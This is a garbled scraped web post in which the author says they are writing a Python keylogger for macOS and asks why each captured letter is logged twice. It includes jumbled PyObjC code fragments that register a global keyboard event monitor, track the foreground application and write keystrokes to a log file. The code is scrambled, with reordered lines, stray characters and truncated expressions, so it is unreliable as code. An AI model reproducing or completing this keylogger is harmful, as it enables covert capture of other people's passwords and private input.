![]() WindowList = CGWindowListCopyWindowInfo(options, kCGNullWindowID) Options = kCGWindowListOptionOnScreenOnly If app.localizedName() != self.currentApp: Self.workspace = NSWorkspace.sharedWorkspace()ĪctiveApps = () NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(mask, sc.handler)ĭelegate = self.createAppDelegate().alloc().init() If (self._class_._name_ = "MouseMoveHooker"):įichier.write("%s" % (x.encode('utf-8')))ĭef applicationDidFinishLaunching_(self, notification): Items = ' '.join( +"="+unicode(x) for x in eritems()] ) That's a mystery me for ! #!/usr/bin/env pythonįrom AppKit import NSApplication, NSApp, NSWorkspaceįrom Quartz import CGWindowListCopyWindowInfo, kCGWindowListOptionOnScreenOnly, kCGNullWindowIDĮvtypes_rev = dict( for k,v in ems()]) My script is working well, but all the letters are in double in the shell / txt log file. ![]() I'm working on a python Keylogger for OS X.
0 Comments
Leave a Reply. |